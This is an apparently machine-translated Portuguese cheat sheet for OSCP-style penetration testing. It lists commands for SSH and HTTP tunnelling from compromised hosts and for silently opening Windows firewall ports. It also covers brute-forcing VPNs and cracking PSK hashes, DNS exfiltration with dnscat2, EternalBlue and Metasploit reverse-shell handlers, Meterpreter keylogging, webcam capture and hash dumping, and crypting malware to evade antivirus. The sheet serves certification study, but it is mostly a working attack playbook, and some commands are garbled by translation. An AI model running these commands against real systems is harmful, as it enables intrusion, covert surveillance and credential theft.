SSH Dynamic Port Forwarding: crie um proxy SOCKS4 em nossa caixa de ataque local para
encapsular TODO o tráfego de entrada para QUALQUER host na rede DMZ em QUALQUER
PORTA
ssh -D <local proxy port> -p <remote port> <target>
Proxychains - Executa varredura de nmap dentro de uma DMZ de um computador externo
Criar túnel SSH reverso da máquina popped em: 2222
ssh -f -N -T -R22222:localhost:22 [Link] ssh -f -N -R 2222:<local host>:22
root@<remote host>
Crie um encaminhamento de porta de nível de aplicativo dinâmico em 8080 a 2222
ssh -f -N -D <local host>:8080 -p 2222 hax0r@<remote host>
Aproveite o servidor SSH SOCKS para realizar varredura Nmap na rede usando cadeias de proxy
proxychains nmap --top-ports=20 -sT -Pn $ip/24
Túnel HTTP
nc -vvn $ip 8888
Encapsulamento de tráfego - contornando a inspeção profunda de pacotes
túnel http
No lado do servidor: No lado do cliente:
sudo hts -F <server ip addr>:<port of your app> 80
sudo htc -P <my [Link]:proxy port> -F <port of your app> <server ip addr>:80 stunnel
Tunnel Remote Desktop (RDP) de uma máquina Windows popped para a sua rede
Túnel na porta 22
plink -l root -pw pass -R 3389:<localhost>:3389 <remote host>
Porta 22 bloqueada? Tente a porta 80? ou 443?
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P80
Tunnel Remote Desktop (RDP) de uma janela popped usando HTTP Tunnel (ignorar a inspeção
profunda de pacotes)
Máquina Windows adiciona regras de firewall necessárias sem avisar o usuário
netsh advfirewall firewall add rule name="httptunnel_client" dir=in action=allow
program="httptunnel_client.exe" enable=yes
netsh advfirewall firewall add rule name="3000" dir=in action=allow protocol=TCP
localport=3000
netsh advfirewall firewall add rule name="1080" dir=in action=allow protocol=TCP
localport=1080
netsh advfirewall firewall add rule name="1079" dir=in action=allow protocol=TCP
localport=1079
Inicie o cliente de túnel http
httptunnel_client.exe
Crie um shell reverso HTTP conectando-se à porta 3000 localhost
plink -l root -pw 23847sd98sdf987sf98732 -R 3389:<local host>:3389 <remote host> -P 3000
VLAN Hopping
git clone [Link]
chmod 700 [Link]
./[Link]
Hacking VPN
Identifique os servidores VPN:
./[Link] -p ike $ip
Analise um intervalo de servidores VPN:
./[Link] -p ike -f [Link]
Use IKEForce para enumerar ou atacar os servidores VPN:
pip install pyip
git clone [Link]
Execute a enumeração de VPN IKE com IKEForce:
./[Link] TARGET-IP –e –w wordlists/[Link]
Bruteforce IKE VPN usando IKEForce:
./[Link] TARGET-IP -b -i groupid -u dan -k psk123 -w [Link] -s 1 Use o ike-scan
para capturar o hash PSK:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id = myid -P TARGET-IP-chave
exemplo de ike-scan –M –A –n\ _group -P [Link] TARGET-IP
Use psk-crack para quebrar o hash PSK
psk-crack [Link]
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --charset
="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz" 192-168-
207-134key
PSK-crack -d / path / to / dictionary-file TARGET-IP-key
Hacking PPTP
Identificando PPTP, ele escuta em TCP: 1723
NMAP PPTP Fingerprint:
nmap –Pn -sV -p 1723 TARGET(S) Ataque de dicionário PPTP
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/[Link]
Encaminhamento / redirecionamento de porta
Túnel de link PuTTY - Túnel SSH
Encaminhe a porta remota para o endereço local:
[Link] -P 22 -l root -pw "1337" -R 445:<local host>:445 <remote host>
SSH Pivoting
SSH pivotando de uma rede para outra:
ssh -D <local host>:1010 -p 22 user@<remote host>
Tunelamento DNS
dnscat2 suporta os comandos “download” e “upload” para obter arquivos (dados e programas)
de e para a máquina de destino.
Instalação da máquina de ataque:
apt-get update
apt-get -y install ruby-dev git make g ++
empacotador de instalação de gem
git clone [Link]
CD dnscat2 / servidor
pacote de instalação
Execute dnscat2:
ruby ./[Link]
dnscat2> New session established: 1422
dnscat2> session -i 1422
Máquina Alvo:
[Link]
[Link]
dnscat --host <dnscat server ip>
O Framework Metasploit
Vejo Metasploit Unleashed Course no Essentials
Pesquise explorações usando o código-fonte do framework Metasploit GitHub:
[Link]
Traduza-os para uso no OSCP LAB ou EXAM.
Metasploit
MetaSploit requer Postfresql
systemctl start postgresql
Para ativar o Postgresql na inicialização
systemctl enable postgresql
Sintaxe MSF
Iniciar metasploit
msfconsole
msfconsole -q
Mostrar ajuda para o comando
show -h
Mostrar módulos auxiliares
show auxiliary
Use um módulo
use auxiliary/scanner/snmp/snmp_enum
use auxiliary/scanner/http/webdav_scanner
use auxiliary/scanner/smb/smb_version
use auxiliary/scanner/ftp/ftp_login
use exploit/windows/pop3/seattlelab_pass
Mostra as informações básicas para um módulo
info
Mostra os parâmetros de configuração de um módulo
show options
Definir opções para um módulo
set RHOSTS [Link]-254
set THREADS 10
Execute o módulo
run
Execute um Exploit
exploit
Procure um módulo
search type:auxiliary login
Metasploit Database Access
Mostrar todos os hosts descobertos no banco de dados MSF
hosts
Procure hosts e armazene-os no banco de dados MSF
db_nmap
Pesquisar máquinas para portas específicas no banco de dados MSF
services -p 443
Aproveite o banco de dados MSF para verificar as portas SMB (rhosts preenchidos
automaticamente)
services -p 443 --rhosts
Encenado e não encenado
Carga útil não preparada - é uma carga que é enviada em sua totalidade de uma vez
Preparado - enviado em duas partes Não tem espaço de buffer suficiente Ou precisa ignorar o
antivírus
MS 17-010 - EternalBlue
Você pode encontrar algumas caixas que são vulneráveis ao MS17-010 (também conhecido
como EternalBlue). Embora não seja oficialmente parte do curso indended, esta exploração
pode ser aproveitada para obter acesso de nível de SISTEMA a uma caixa do Windows. Nunca
tive muita sorte usando o módulo integrado Metasploit EternalBlue. Descobri que a versão
onze caminhos funciona de maneira muito mais relábil. Aqui estão as instruções para instalá-lo
retiradas do seguinte vídeo do YouTube: [Link]
O primeiro passo é configurar o Kali para funcionar com o wine de 32 bits
dpkg –add-architecture i386 && apt-get update && apt-get install wine32 rm -r ~ / .wine wine
[Link] sair
Baixe o repositório de exploit [Link]
Metasploit
Mova o exploit para ou/usr/share/metasploit-
framework/modules/exploits/windows/smb~/.msf4/modules/exploits/windows/smb
Inicie o console metasploit
Descobri que usar [Link] como PROCESSINJECT produzia resultados em caixas OSCP.
usar exploit / windows / smb / eternalblue_doublepulsar msf exploit
(eternalblue_doublepulsar)> definir RHOST [Link] RHOST => [Link] msf exploit
(eternalblue_doublepulsar)> set PROCESSINJECT [Link] PROCESSINJECT => [Link]
msf exploit (eternalblue_doublepulsar)
Experimentando com Meterpreter
Obtenha informações do sistema no Meterpreter Shell
sysinfo
Obtenha o ID do usuário do Meterpreter Shell
getuid
Procure um arquivo
search -f *pass*.txt
Enviar um arquivo
upload /usr/share/windows-binaries/[Link] c:\\Users\\Offsec
Baixe um arquivo
download c:\\Windows\\system32\\[Link] /tmp/[Link]
Invoque um shell de comando do Meterpreter Shell
shell
Saia do shell meterpreter
exit
Metasploit Exploit Multi Handler
multi / handler para aceitar um reverse_https_meterpreter de entrada
payload
use exploit/multi/handler
set PAYLOAD windows/meterpreter/reverse_https
set LHOST $ip
set LPORT 443
exploit
[*] Started HTTPS reverse handler on [Link]
Construindo Seu Próprio Módulo MSF
mkdir -p ~/.msf4/modules/exploits/linux/misc
CD ~/.msf4/modules/exploits/linux/misc
cp / usr / share / metasploitframework / modules / exploits / linux / misc / gld\ _postfix.rb
./[Link]
nano [Link]
Pós-exploração com Metasploit - (as opções disponíveis dependem do sistema operacional e
das capacidades do Meterpreter)
download Baixar um arquivo ou diretório Carregar um arquivo ou diretório Encaminhar uma
porta local para um serviço remoto Visualize e modifique a tabela de roteamento Comece a
capturar pressionamentos de tecla Pare de capturar pressionamentos de tecla Faça uma
captura de tela da área de trabalho interativa Grave áudio do microfone padrão por X
segundos Tire uma foto de a webcam especificada. Tente elevar seu privilégio ao do sistema
local. Despeja o conteúdo do banco de dados SAM
upload
portfwd
route
keyscan_start
keyscan_stop
screenshot
record_mic
webcam_snap
getsystem
hashdump
Recursos de pós-exploração do medidor
Crie uma sessão de fundo do Meterpreter
background
Ignorando software antivírus
Criptografando malware conhecido com protetores de software
Um desses criptografadores de código aberto, chamado Hyperion
cp /usr/share/windows-binaries/[Link]
descompacte [Link]
CD Hyperion-1.0 /
i686-w64-mingw32-g ++ Src / Crypter /*.cpp -o [Link]
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libgcc_s_sjlj-[Link] .
cp -p /usr/lib/gcc/i686-w64-mingw32/5.3-win32/libstdc++-[Link] .
wine [Link] ../[Link] ../[Link]